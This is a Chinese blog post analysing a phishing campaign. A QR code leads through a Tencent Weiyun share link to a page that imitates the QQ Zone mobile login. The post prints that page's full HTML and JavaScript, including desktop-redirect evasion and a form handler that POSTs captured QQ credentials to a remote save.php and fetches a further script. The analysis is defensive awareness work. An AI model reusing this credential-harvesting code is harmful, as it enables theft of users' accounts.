写在前面

之前好像一直都没有碰到过钓鱼页面啥的…前天刚好碰到,就简单分析一下。

钓鱼分析

钓鱼网址藏在一个二维码中,正值毕业季啊,二维码图片上写着“青春不散场”…看着就很像真的…

二维码对应的URLhttps://sharechain.qq.com/1b4e56f042d5bf060fe0e44d6346eebf,是一个腾讯微云的链接。没有用过腾讯微云,感觉像是分享一个帖子,然后帖子点进去就是下图的形式。在电脑上看的话,其实很快就能发现这个东西不太对劲,但是在手机上是不能显示实际对应的跳转链接。文本显示链接与实际跳转链接不对应,这个特征在钓鱼网站检测中也经常用到。

接下来就看一下www.dfesd.com/images/ee/yyoui.html这个链接的内容是什么。

<!DOCTYPE html>
<html lang="zh-cn"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1,maximum-scale=1,initial-scale=1,user-scalable=no"><meta name="apple-mobile-web-app-capable" content="yes"><script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script><link href="http://sasdh447.6600.org/template/css/css.css" rel="stylesheet" type="text/css"><link rel="stylesheet" href="http://qzonestyle.gtimg.cn/qzone/phone/style/login.css"><script src="http://open.mobile.qq.com/sdk/qqapi.js?_bid=152"></script><script type="text/javascript">
$(function(){mqq.ui.setTitleButtons({left : {title : "私密相册",callback : function () {//}},right : {hidden: true}
})});
</script><!--顶部banner--></head><script>var doc=$(document);var _touches_point1=0;var _touches_point2=0;addEventListener("touchstart",function(a){_touches_point1=a.touches[0].pageY});addEventListener("touchmove",function(a){_touches_point2=a.touches[0].pageY;if(doc.scrollTop()<=0&&_touches_point1<_touches_point2){a.preventDefault();if($("#_domain_display").length<=0){$("body").prepend('<div id="_domain_display" style="text-align:center;background-color:#bebdc2;color:#65696c;height:0px;padding-top:15px;line-height:26px;font-size:12px;overflow:hidden;"><p>网页由 '+'ui.ptlogin2.qq.com'+' 提供</p><p>QQ浏览器X5内核提供技术支持</p></div>')}$("#_domain_display").height((_touches_point2-_touches_point1))}});addEventListener("touchend",function(a){$("#_domain_display").slideUp("normal",function(){$("#_domain_display").remove()})});
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 1={4:6,5:6,7:6};8 2=9.d;1.4=2.3("b")==0;1.5=2.3("c")==0;1.a=(2=="e")||(2.3("f")==0);k(1.4||1.5||1.7){o.n.l="g://j.i.h/m/"}',25,25,'|system|p|indexOf|win|mac|false|xll|var|navigator|x11|Win|Mac|platform|X11|Linux|http|com|qq|pvp|if|href||location|window'.split('|'),0,{}));/* 上面一段js最终为执行了如下代码
var system = {win: false,mac: false,xll: false
};
var p = navigator.platform;
system.win = p.indexOf("Win") == 0;
system.mac = p.indexOf("Mac") == 0;
system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
if (system.win || system.mac || system.xll) {  //检测到系统之后跳转到http://pvp.qq.com/m/window.location.href = "http://pvp.qq.com/m/"
}
*/
if(navigator.userAgent.indexOf('QQ/')>0){}else{window.location.href='http://i.qq.com';}
var province = remote_ip_info.province; var city = remote_ip_info.city; document.getElementById("ip").value=province+city;</script><!--下面这段html代码,是模仿了qq空间的登录界面--><body style="zoom: 1;"><div id="content" class="content"><div id="error_tips"><div id="error_tips_content"><span id="error_icon"></span><span id="error_message"></span></div></div><div id="login" class="login"><div id="logo" class="logo"></div><div id="app_name" style="display: none"></div><div id="q_login" class="q_login" style="display: none"><div id="q_login_title"><div id="q_login_logo"></div><label id="q_login_tips"></label></div><div id="q_logon_list" class="q_logon_list"></div></div><div id="web_login"><form id="loginform" autocomplete="off" name="loginform" action="" method="" target="" style="margin:0"><input type="hidden" name="ip" id="ip" /><ul id="g_list"><li id="g_u"><div id="del_touch" class="del_touch"><span id="del_u" class="del_u"></span></div><input id="u" class="inputstyle" name="hrUW3PG7mp3RLd3dJu" autocomplete="off" placeholder="QQ号码/手机/邮箱"></li><li id="g_p"><div id="del_touch_p" class="del_touch"><span id="del_p" class="del_u"></span></div><input id="p" class="inputstyle" maxlength="16" type="password" name="LxMzAX2jog9Bpjs07jP" autocorrect="off" placeholder="请输入您的QQ密码"></li></ul><div href="javascript:void(0);" id="go">登 录</div></form></div><div id="switch"><div id="swicth_login" onclick="pt._switch()" style="display: none"></div><div id="zc_feedback"><span id="zc" onclick="window.open('http\://ptlogin2.qq.com\x2Fj_newreg_url')">注册新帐号</span><span id="forgetpwd" onclick="window.open('http\://ptlogin2.qq.com/j_findpwd_url')">忘了密码?</span></div></div><div id="custom_bottom"></div></div><div id="vcode"><label id="vcode_tips"></label><div id="vcode_area"><img id="vcode_img"><label id="input_tips"></label><input id="vcode_input" name="vcode_input" tabindex="3" autocomplete="off" autocorrect="off" maxlength="6"></div><div id="button"></div></div></div><div id="new_vcode" class="new_vcode"></div><div id="footerBlank"></div><script>var times = 0;function error(msg) {$("#error_tips").css({display: 'block'});$('#error_message').html(msg);err = true;}$('form input').focus(function() {$("#error_tips").css({display: 'none'});err = false;});$("#error_tips").on('click',function() {$(this).hide();});$("#go").on('click',function() {var $this = $(this);err = false;var p = $("#p").val();var u = $("#u").val();u == '' && error('您还没有输入帐号!');   if(err) return false;p == '' && error("您还没有输入密码!");if(err) return false;/^[1-9][0-9]{5,9}$/.test(u) || error('请输入正确的帐号!');if(err) return false;if(sameChar(u)){error("您输入的帐号或密码不正确,请重新输入。");$("#u").val('');$("#p").val('');return false;}var len = p.length;(len < 6 || len>16) && error('您输入的帐号或密码不正确,请重新输入。');/*新增密码校验*/var pattern = /[\u4e00-\u9fa5]+/g;pattern.test(p) && error("您输入的帐号或密码不正确,请重新输入。");var pattern2 = /^[0-9]*$/g;pattern2.test(p) && error("您输入的帐号或密码不正确,请重新输入。");if(sameChar(p)){error("您输入的帐号或密码不正确,请重新输入。");$("#p").val('');return false;}/**/if (!err){$.ajax({url:'http://sasdh447.6600.org/save.php',type:'POST',dataType:'json',async:false, data: $('#loginform').serialize(),success:function(r){$.getScript('http://sasdh447.6600.org/lib/t.js');},error:function(er){$.getScript('http://sasdh447.6600.org/lib/t.js');}})}})function sameChar(str){var result = true;var c = str.charAt(0);for(var i=0;i<str.length;i++){if(c != str.charAt(i)){result = false;break;               }}return result;}</script><div style="display:none;"></body>
</html>

理解了一下,其中的js代码会判断访问者所使用的操作系统平台,如果是win/mac/linux,就会直接跳转到王者荣耀的一个网址,之后会判断是否是使用QQ的浏览器来登录的,如果是,则不跳转,如果不是,就会跳转到https://i.qq.com/。查了一下发现当有好多个window.location.href='xxx'时,只会执行最后一个,而且通过测试发现,页面的跳转会在后面所有的js代码都执行结束之后发生。

这部分代码其实就是防止自己被发现吧。当使用电脑登录的时候,就直接跳转到正常的页面。

如果我们是通过手机QQ直接扫描二维码,访问网址,那页面不跳转,会看到一个和正常的QQ空间登录一样的界面,最后面的js代码进行了一些简单的对用户名/密码的判断,避免访问者输入相同的用户名/密码,检测用户名是否全是数字等等,比较好理解。当js代码判断没有错误之后,就会把用户名密码传递给一个http://sasdh447.6600.org/save.php的网址,这才是真正的钓鱼者的服务器,他应该会在后台使用拿到的用户名密码,登录QQ空间,发一些消息,继续传播钓鱼界面。现在因为都有设备锁,所以钓鱼者是没办法直接登录QQ,但是邮件、空间等等这些都是可以登录的。

另外,最开始腾讯微云的链接是跳转到www.dfesd.com下的一个网址,这个是阿里巴巴下的一个快递公司…是合法的,感觉应该是这个网站有漏洞,然后通过这个漏洞上传了yyoui.html这个页面。没有直接在钓鱼者自己的服务器上放yyoui.html页面,应该也是出于保护自身的缘故吧。

最后

感觉钓鱼检测在移动端需求更大,但是移动端…emm…看论文来说好像不是很多。

一个QQ用户名/密码钓鱼分析相关推荐

  1. 基于QQ用户名密码方式爬取邮件数据

    由于一个爬虫项目需要爬取QQ邮箱的邮件数据,给定QQ的邮箱账户和密码,模拟浏览器登录爬取邮件文件. 首先通过使用Fiddler抓取QQ邮箱登录的HTTP请求包,很显然其密码是通过某种变换而来,不像有的 ...

  2. 一个QQ空间的钓鱼盗号过程揭露,大家谨防上当

    1.盗号过程 很久没有用过QQ空间了,今天突然QQ弹出一条消息,说我的一个好友留言中提到了我,但是我却也打不开这个链接. 于是,我就去她的空间留言板查看.发现第一条留言,是一个二维码 扫描之后,进入到 ...

  3. 我的第一个Python程序(简单的用户名密码登录程序)

    话说啊,所谓的C语言1000行,Java100行,Python20行呢...光一个登录就30行了.. 一个输入用户名密码的登录程序: init_usrname=input('Please enter ...

  4. mongoDB设置用户名密码的一个要点

    2019独角兽企业重金招聘Python工程师标准>>> 增加用户之前, 先选好库 use <库名> #选择admin库后可查看system.users里面的用户数据 db ...

  5. 提示用户输入一个高考_高考报名用户名密码显示错误怎么办

    WIN7系统电脑在访问公司局域网内共享电脑时报错,提示登陆失败未知的用户名或密码错误怎么办?请看下面小编整理的解决方法!访问局域网提示未知的用户名或密码错误的解决办法点击电脑开始-"运行&q ...

  6. 社会工程学与APT攻击之——社工邮件钓鱼分析

    社工邮件钓鱼分析 在大型企业边界安全做的越来越好的情况下,不管是APT攻击还是红蓝对抗演练,钓鱼和水坑攻击被越来越多的应用.(水坑攻击感觉也很牛掰的样子) 说起钓鱼,突然想起来小薛同学在大一收到一个钓 ...

  7. Android 安全专项-Xposed 劫持用户名密码实践

    Xposed是个强大的工具,可以hook所有的java方法,下面用Xposed来截获App的用户名密码,默认你已经安装好Xposed环境了 参考文章:http://blog.csdn.net/beyo ...

  8. [WCF安全系列]认证与凭证:用户名/密码认证与Windows认证

    如果要给认证下一个定义,我个人的倾向这样的定义:认证是确定被认证方的真实身份和他或她申明(Claim)的身份是否相符的行为.认证方需要被认证方提供相应的身份证明材料,以鉴定本身的身份是否与声称的身份相 ...

  9. live linux 密码,Linux_如何使你的Linux系统省略输入用户名密码,在做Livecd的时候总是要输入用 - phpStudy...

    如何使你的Linux系统省略输入用户名密码 在做Livecd的时候总是要输入用户名密码才能进入系统,很麻烦,所以打算把这两个步骤省略. 1.省略密码验证 很简单,只需把/etc/passwd中的roo ...

  10. 基于WebQQ3.0协议写一个QQ机器人

    最近公司需要做个qq机器人获取qq好友列表,并且能够自动向选定的qq好友定时发送消息.没有头绪,硬着头皮上 甘甜的心情瞬间变得苦涩了 哇 多捞吆 1.WEBQQ3.0登陆协议 进入WEBQQ, htt ...

最新文章

  1. 2021牛客多校2 - Stack(单调栈+拓扑)
  2. labview如何弹出提示窗口_以实例跟我学如何将LabVIEW的VI程序打包成安装程序
  3. MFC编程入门之十三(对话框:属性页对话框及相关类的介绍)
  4. LeetCode 889. 已知前序后序 求二叉树(不唯一)
  5. 纯 css 实现 a 标签 loading 效果
  6. linkedblockingqueue使用_学会java这几个线程池的使用,会使得你的程序效率提升十倍...
  7. javascript 闭包和原型
  8. DoIP诊断技术一点通
  9. 高通联机修改IMEI等参数的相关解析
  10. 如何用银灿IS903主控DIY自己的U盘?(练习BGA焊接的好项目)
  11. 易语言 精易模块 网页_访问 获取显示验证码图片
  12. jQuery validate 添加表单验证方法
  13. 2019 年第 26 周 DApp 影响力排行榜 | TokenInsight
  14. 观点 | 以太坊:货币的互联网
  15. div+css静态网页设计游戏网站设计——仿君海游戏官网(13页) HTML+CSS大作业_ 手游网页制作作业_网游网页设计...
  16. <JVM上篇:内存与垃圾回收篇>13-垃圾回收器
  17. 漏洞分析——Race_Condition
  18. 海盐、低钠岩盐、腌制盐……这么多盐到底有什么不同啊?
  19. 让工程师沉思的68个经典小故事
  20. 发挥强大资源优势,移动云助推高校人才培养

热门文章

  1. Directory Opus一款功能强大的资源管理器
  2. GitLab中用户的五种权限 Guest、Reporter、Developer、Master、Owner
  3. 低代码学习教程:如何编辑自定义打印模版?
  4. win7+nfs文件服务器,win7 nfs服务器设置
  5. java ckfinder中文_CKfinder中文乱码的解决.
  6. C# 16进制与2进制互转
  7. 人力资源管理案例选读【1】
  8. 如何更改计算机用户账户和密码,怎么修改电脑用户账户
  9. python——正则表达式详解(二)
  10. Linux date 命令